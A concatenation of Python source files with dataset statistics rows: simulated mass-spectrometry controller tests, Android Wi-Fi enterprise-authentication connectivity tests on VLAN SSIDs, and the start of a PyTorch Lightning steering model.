rt_tol=rt_tol, min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True)
run_environment(env)
assert len(controller.scans[2]) > 0
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'non_overlap_controller_simulated_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_non_overlap_controller_with_beer_chems(self):
logger.info('Testing non-overlap controller with QC beer chemicals')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(LocatorGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'non_overlap_qcbeer_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_non_overlap_controller_with_beer_chems_and_smartROI_rules(self):
logger.info('Testing non-overlap controller with QC beer chemicals and SmartROI rules')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(LocatorGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0,
roi_type=RoiBuilder.ROI_TYPE_SMART,
reset_length_seconds=1e6,
intensity_increase_factor=10,
drop_perc=0.1 / 100
)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'non_overlap_qcbeer_chems_smartroi.mzML'
check_mzML(env, OUT_DIR, filename)
def test_non_overlap_controller_with_beer_chems_and_weighteddew_rules(self):
logger.info('Testing non-overlap controller with QC beer chemicals and WeightedDEW rules')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 120
exclusion_t_0 = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(LocatorGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0,
exclusion_method=ROI_EXCLUSION_WEIGHTED_DEW, exclusion_t_0=exclusion_t_0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'non_overlap_qcbeer_chems_weighteddew.mzML'
check_mzML(env, OUT_DIR, filename)
class TestIntensityNonOverlapController:
def test_intensity_nonoverlap_controller_with_simulated_chems(self, fragscan_dataset):
logger.info('Testing intensity non-overlap controller with simulated chemicals')
assert len(fragscan_dataset) == N_CHEMS
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 50
min_roi_length = 0
ionisation_mode = POSITIVE
min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE)
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset)
grid = GridEstimator(AllOverlapGrid(min_bound, max_bound, rt_box_size, 0, 3000, mz_box_size), IdentityDrift())
controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True)
run_environment(env)
assert len(controller.scans[2]) > 0
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'intensity_non_overlap_controller_simulated_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_intensity_non_overlap_controller_with_beer_chems(self):
logger.info('Testing intensity non-overlap controller with QC beer chemicals')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'intensity_non_overlap_qcbeer_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_intensity_non_overlap_controller_with_beer_chems_and_smartROI_rules(self):
logger.info('Testing intensity non-overlap controller with QC beer chemicals and SmartROI rules')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0,
roi_type=RoiBuilder.ROI_TYPE_SMART,
reset_length_seconds=1e6,
intensity_increase_factor=10,
drop_perc=0.1 / 100
)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'intensity_non_overlap_qcbeer_chems_smartroi.mzML'
check_mzML(env, OUT_DIR, filename)
def test_intensity_non_overlap_controller_with_beer_chems_and_weighteddew_rules(self):
logger.info('Testing intensity non-overlap controller with QC beer chemicals and WeightedDEW rules')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 120
exclusion_t_0 = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = IntensityNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0,
exclusion_method=ROI_EXCLUSION_WEIGHTED_DEW,
exclusion_t_0=exclusion_t_0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'intensity_non_overlap_qcbeer_chems_weighteddew.mzML'
check_mzML(env, OUT_DIR, filename)
class TestFlexibleNonOverlapController:
def test_intensity_nonoverlap_controller_with_simulated_chems(self, fragscan_dataset):
logger.info('Testing flexible non-overlap controller with simulated chemicals')
assert len(fragscan_dataset) == N_CHEMS
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 50
min_roi_length = 0
ionisation_mode = POSITIVE
min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE)
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset)
grid = GridEstimator(AllOverlapGrid(min_bound, max_bound, rt_box_size, 0, 3000, mz_box_size), IdentityDrift())
controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True)
run_environment(env)
assert len(controller.scans[2]) > 0
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'flexible_non_overlap_controller_simulated_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_flexible_non_overlap_controller_with_beer_chems(self):
logger.info('Testing flexible non-overlap controller with QC beer chemicals')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'flexible_non_overlap_qcbeer_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_flexible_non_overlap_controller_with_beer_chems_and_smartROI_rules(self):
logger.info('Testing flexible non-overlap controller with QC beer chemicals and SmartROI rules')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0,
roi_type=RoiBuilder.ROI_TYPE_SMART,
reset_length_seconds=1e6,
intensity_increase_factor=10,
drop_perc=0.1 / 100
)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'flexible_non_overlap_qcbeer_chems_smartroi.mzML'
check_mzML(env, OUT_DIR, filename)
def test_flexible_non_overlap_controller_with_beer_chems_and_weighteddew_rules(self):
logger.info('Testing flexible non-overlap controller with QC beer chemicals and WeightedDEW rules')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 120
exclusion_t_0 = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
grid = GridEstimator(AllOverlapGrid(BEER_MIN_BOUND, BEER_MAX_BOUND, rt_box_size, 0, 3000, mz_box_size),
IdentityDrift())
controller = FlexibleNonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
rt_tol=rt_tol, min_roi_length_for_fragmentation=0,
exclusion_method=ROI_EXCLUSION_WEIGHTED_DEW,
exclusion_t_0=exclusion_t_0)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'flexible_non_overlap_qcbeer_chems_weighteddew.mzML'
check_mzML(env, OUT_DIR, filename)
| 48.148014
| 120
| 0.657982
| 3,253
| 26,674
| 5.079004
| 0.049185
| 0.027963
| 0.032684
| 0.020337
| 0.956361
| 0.956361
| 0.954303
| 0.954303
| 0.953274
| 0.953274
| 0
| 0.021511
| 0.29242
| 26,674
| 553
| 121
| 48.235081
| 0.853873
| 0.175752
| 0
| 0.819892
| 0
| 0
| 0.077556
| 0.030684
| 0
| 0
| 0
| 0
| 0.026882
| 1
| 0.043011
| false
| 0
| 0.021505
| 0
| 0.077957
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
2ea33dc751f26a2fb94d7e0cadef51408c2fc171
| 14,774
|
py
|
Python
|
tests/e2e/interOp/validation_of_operating_modes/vlan_mode/client_connectivity_test/android/test_enterprise_ttls.py
|
dutta-rohan/wlan-testing
|
77264245b62e21dff5f38c7eae74c22e0cdeefbb
|
[
"BSD-3-Clause"
] | 7
|
2020-08-19T16:45:46.000Z
|
2022-02-10T09:55:22.000Z
|
tests/e2e/interOp/validation_of_operating_modes/vlan_mode/client_connectivity_test/android/test_enterprise_ttls.py
|
dutta-rohan/wlan-testing
|
77264245b62e21dff5f38c7eae74c22e0cdeefbb
|
[
"BSD-3-Clause"
] | 47
|
2020-12-20T16:06:03.000Z
|
2022-03-23T03:01:22.000Z
|
tests/e2e/interOp/validation_of_operating_modes/vlan_mode/client_connectivity_test/android/test_enterprise_ttls.py
|
dutta-rohan/wlan-testing
|
77264245b62e21dff5f38c7eae74c22e0cdeefbb
|
[
"BSD-3-Clause"
] | 9
|
2021-02-04T22:32:06.000Z
|
2021-12-14T17:45:51.000Z
|
from logging import exception
import unittest
import warnings
from perfecto.test import TestResultFactory
import pytest
import sys
import time
from selenium.common.exceptions import NoSuchElementException
from selenium.webdriver.common.by import By
from appium import webdriver
from selenium.common.exceptions import NoSuchElementException
import sys
import allure
if 'perfecto_libs' not in sys.path:
sys.path.append(f'../libs/perfecto_libs')
pytestmark = [pytest.mark.sanity, pytest.mark.interop, pytest.mark.android, pytest.mark.interop_and, pytest.mark.client_connectivity
,pytest.mark.interop_uc_sanity, pytest.mark.vlan, pytest.mark.enterprise]
from android_lib import closeApp, set_APconnMobileDevice_android, Toggle_AirplaneMode_android, ForgetWifiConnection, openApp, \
get_ip_address_eap_and, verifyUploadDownloadSpeed_android, wifi_connect_eap, wifi_disconnect_and_forget
setup_params_enterprise = {
"mode": "VLAN",
"ssid_modes": {
"wpa_enterprise": [
{"ssid_name": "ssid_wpa_eap_2g_vlan", "appliedRadios": ["2G"], "vlan": 100},
{"ssid_name": "ssid_wpa_eap_5g_vlan", "appliedRadios": ["5G"], "vlan": 100}],
"wpa2_enterprise": [
{"ssid_name": "ssid_wpa2_eap_2g_vlan", "appliedRadios": ["2G"], "vlan": 100},
{"ssid_name": "ssid_wpa2_eap_5g_vlan", "appliedRadios": ["5G"], "vlan": 100}],
"wpa3_enterprise": [
{"ssid_name": "ssid_wpa3_eap_2g_vlan", "appliedRadios": ["2G"], "vlan": 100},
{"ssid_name": "ssid_wpa3_eap_5g_vlan", "appliedRadios": ["5G"], "vlan": 100}]},
"rf": {},
"radius": True
}
@allure.suite(suite_name="interop sanity")
@allure.sub_suite(sub_suite_name="Vlan Mode EAP Client Connectivity : Suite-A")
@pytest.mark.suiteA
@pytest.mark.parametrize(
'setup_profiles',
[setup_params_enterprise],
indirect=True,
scope="class"
)
@pytest.mark.usefixtures("setup_profiles")
class TestVlanModeEnterpriseTTLSSuiteA(object):
""" Client Connect SuiteA
pytest -m "client_connect and bridge and InteropsuiteA"
"""
@allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4679", name="WIFI-4679")
@pytest.mark.fiveg
@pytest.mark.wpa2_enterprise
def test_ClientConnectivity_5g_WPA2_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data
, setup_perfectoMobile_android, radius_info, get_ap_logs):
profile_data = setup_params_enterprise["ssid_modes"]["wpa2_enterprise"][1]
ssidName = profile_data["ssid_name"]
ssidPassword = ["BLANK"]
print ("SSID_NAME: " + ssidName)
#print ("SSID_PASS: " + ssidPassword)
ttls_passwd = radius_info["password"]
identity = radius_info['user']
get_vif_state.append(ssidName)
if ssidName not in get_vif_state:
allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state))
pytest.xfail("SSID NOT AVAILABLE IN VIF STATE")
report = setup_perfectoMobile_android[1]
driver = setup_perfectoMobile_android[0]
connData = get_ToggleAirplaneMode_data
ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
# Set Wifi/AP Mode
if is_internet:
if ip:
text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet")
else:
text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address")
print(text_body)
allure.attach(name="Connection Status: ", body=str(text_body))
wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData)
wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData)
else:
allure.attach(name="Connection Status: ", body=str("No Internet access"))
assert False
@allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4678", name="WIFI-4678")
@pytest.mark.twog
@pytest.mark.wpa2_enterprise
def test_ClientConnectivity_2g_WPA2_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data
, setup_perfectoMobile_android, radius_info, get_ap_logs):
profile_data = setup_params_enterprise["ssid_modes"]["wpa2_enterprise"][0]
ssidName = profile_data["ssid_name"]
ssidPassword = ["BLANK"]
print("SSID_NAME: " + ssidName)
# print ("SSID_PASS: " + ssidPassword)
ttls_passwd = radius_info["password"]
identity = radius_info['user']
get_vif_state.append(ssidName)
if ssidName not in get_vif_state:
allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state))
pytest.xfail("SSID NOT AVAILABLE IN VIF STATE")
report = setup_perfectoMobile_android[1]
driver = setup_perfectoMobile_android[0]
connData = get_ToggleAirplaneMode_data
ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android,
connData)
# Set Wifi/AP Mode
if is_internet:
if ip:
text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet")
else:
text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address")
print(text_body)
allure.attach(name="Connection Status: ", body=str(text_body))
wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData)
wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData)
else:
allure.attach(name="Connection Status: ", body=str("No Internet access"))
assert False
@allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4683", name="WIFI-4683")
@pytest.mark.fiveg
@pytest.mark.wpa3_enterprise
def test_ClientConnectivity_5g_WPA3_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data
, setup_perfectoMobile_android, radius_info, get_ap_logs):
profile_data = setup_params_enterprise["ssid_modes"]["wpa3_enterprise"][1]
ssidName = profile_data["ssid_name"]
ssidPassword = ["BLANK"]
print("SSID_NAME: " + ssidName)
# print ("SSID_PASS: " + ssidPassword)
ttls_passwd = radius_info["password"]
identity = radius_info['user']
get_vif_state.append(ssidName)
if ssidName not in get_vif_state:
allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state))
pytest.xfail("SSID NOT AVAILABLE IN VIF STATE")
report = setup_perfectoMobile_android[1]
driver = setup_perfectoMobile_android[0]
connData = get_ToggleAirplaneMode_data
ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android,
connData)
# Set Wifi/AP Mode
if is_internet:
if ip:
text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet")
else:
text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address")
print(text_body)
allure.attach(name="Connection Status: ", body=str(text_body))
wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData)
wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData)
else:
allure.attach(name="Connection Status: ", body=str("No Internet access"))
assert False
@allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4682", name="WIFI-4682")
@pytest.mark.twog
@pytest.mark.wpa3_enterprise
def test_ClientConnectivity_2g_WPA3_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data
, setup_perfectoMobile_android, radius_info, get_ap_logs):
profile_data = setup_params_enterprise["ssid_modes"]["wpa3_enterprise"][0]
ssidName = profile_data["ssid_name"]
ssidPassword = ["BLANK"]
print("SSID_NAME: " + ssidName)
# print ("SSID_PASS: " + ssidPassword)
ttls_passwd = radius_info["password"]
identity = radius_info['user']
get_vif_state.append(ssidName)
if ssidName not in get_vif_state:
allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state))
pytest.xfail("SSID NOT AVAILABLE IN VIF STATE")
report = setup_perfectoMobile_android[1]
driver = setup_perfectoMobile_android[0]
connData = get_ToggleAirplaneMode_data
ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android,
connData)
# Set Wifi/AP Mode
if is_internet:
if ip:
text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet")
else:
text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address")
print(text_body)
allure.attach(name="Connection Status: ", body=str(text_body))
wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData)
wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData)
else:
allure.attach(name="Connection Status: ", body=str("No Internet access"))
assert False
@allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4681", name="WIFI-4681")
@pytest.mark.fiveg
@pytest.mark.wpa_enterprise
def test_ClientConnectivity_5g_WPA_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data
, setup_perfectoMobile_android, radius_info, get_ap_logs):
profile_data = setup_params_enterprise["ssid_modes"]["wpa_enterprise"][1]
ssidName = profile_data["ssid_name"]
ssidPassword = ["BLANK"]
print("SSID_NAME: " + ssidName)
# print ("SSID_PASS: " + ssidPassword)
ttls_passwd = radius_info["password"]
identity = radius_info['user']
get_vif_state.append(ssidName)
if ssidName not in get_vif_state:
allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state))
pytest.xfail("SSID NOT AVAILABLE IN VIF STATE")
report = setup_perfectoMobile_android[1]
driver = setup_perfectoMobile_android[0]
connData = get_ToggleAirplaneMode_data
ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android,
connData)
# Set Wifi/AP Mode
if is_internet:
if ip:
text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet")
else:
text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address")
print(text_body)
allure.attach(name="Connection Status: ", body=str(text_body))
wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData)
wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData)
else:
allure.attach(name="Connection Status: ", body=str("No Internet access"))
assert False
@allure.testcase(url="https://telecominfraproject.atlassian.net/browse/WIFI-4680", name="WIFI-4680")
@pytest.mark.twog
@pytest.mark.wpa_enterprise
def test_ClientConnectivity_2g_WPA_enterprise_Vlan(self, request, get_vif_state, get_ToggleAirplaneMode_data
, setup_perfectoMobile_android, radius_info, get_ap_logs):
profile_data = setup_params_enterprise["ssid_modes"]["wpa_enterprise"][0]
ssidName = profile_data["ssid_name"]
ssidPassword = ["BLANK"]
print("SSID_NAME: " + ssidName)
# print ("SSID_PASS: " + ssidPassword)
ttls_passwd = radius_info["password"]
identity = radius_info['user']
get_vif_state.append(ssidName)
if ssidName not in get_vif_state:
allure.attach(name="retest,vif state ssid not available:", body=str(get_vif_state))
pytest.xfail("SSID NOT AVAILABLE IN VIF STATE")
report = setup_perfectoMobile_android[1]
driver = setup_perfectoMobile_android[0]
connData = get_ToggleAirplaneMode_data
ip, is_internet = get_ip_address_eap_and(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android,
connData)
# Set Wifi/AP Mode
if is_internet:
if ip:
text_body = ("connected to " + ssidName + " (" + ip + ") " + "with internet")
else:
text_body = ("connected to " + ssidName + "with Internet, couldn't get IP address")
print(text_body)
allure.attach(name="Connection Status: ", body=str(text_body))
wifi_connect_eap(request, ssidName, identity, ttls_passwd, setup_perfectoMobile_android, connData)
assert verifyUploadDownloadSpeed_android(request, setup_perfectoMobile_android, connData)
wifi_disconnect_and_forget(request, ssidName, ssidPassword, setup_perfectoMobile_android, connData)
else:
allure.attach(name="Connection Status: ", body=str("No Internet access"))
assert False
| 49.246667
| 132
| 0.657439
| 1,619
| 14,774
| 5.717727
| 0.09265
| 0.086205
| 0.117965
| 0.08815
| 0.878794
| 0.85989
| 0.847791
| 0.806201
| 0.806201
| 0.799395
| 0
| 0.010766
| 0.245567
| 14,774
| 300
| 133
| 49.246667
| 0.819756
| 0.027142
| 0
| 0.752066
| 0
| 0
| 0.173046
| 0.007321
| 0
| 0
| 0
| 0
| 0.049587
| 1
| 0.024793
| false
| 0.123967
| 0.057851
| 0
| 0.086777
| 0.049587
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
2c0f35c5c3be994d1b8412d22ea8e3a08238eb1c
| 5,880
|
py
|
Python
|
train/litmodules.py
|
urw7rs/light-steering
|
db43dd6d0fc2aedea35ceb8d9ec3e5665c35333d
|
[
"MIT"
] | null | null | null |
train/litmodules.py
|
urw7rs/light-steering
|
db43dd6d0fc2aedea35ceb8d9ec3e5665c35333d
|
[
"MIT"
] | null | null | null |
train/litmodules.py
|
urw7rs/light-steering
|
db43dd6d0fc2aedea35ceb8d9ec3e5665c35333d
|
[
"MIT"
] | null | null | null |
import torch
import torch.nn.functional as F
import pytorch_lightning as pl
class LitLightSteer(pl.LightningModule):
def __init__(self, model, learning_rate, **kwargs):
super().__init__()
self.save_hyperparameters("learning_rate")
# self.save_hyperparameters()
self.model = model
def forward(self, x):
y = self.model(x)
return y
def match_scale(self, y_hat):
vel = 1.2 * torch.sigmoid(y_hat[:, 0])
ang = 0.7 * torch.tanh(y_hat[:, 1])
torq = 1.4 * torch.tanh(y_hat[:, 2])
return vel, ang, torq
def _compute_loss(self, vel, ang, torq, y):
vel_loss = F.mse_loss(vel, y[:, 0])
ang_loss = F.mse_loss(ang, y[:, 1])
# delta_vel is stored in y[:, 2]
torq_loss = F.mse_loss(torq, y[:, 3])
return vel_loss, ang_loss, torq_loss
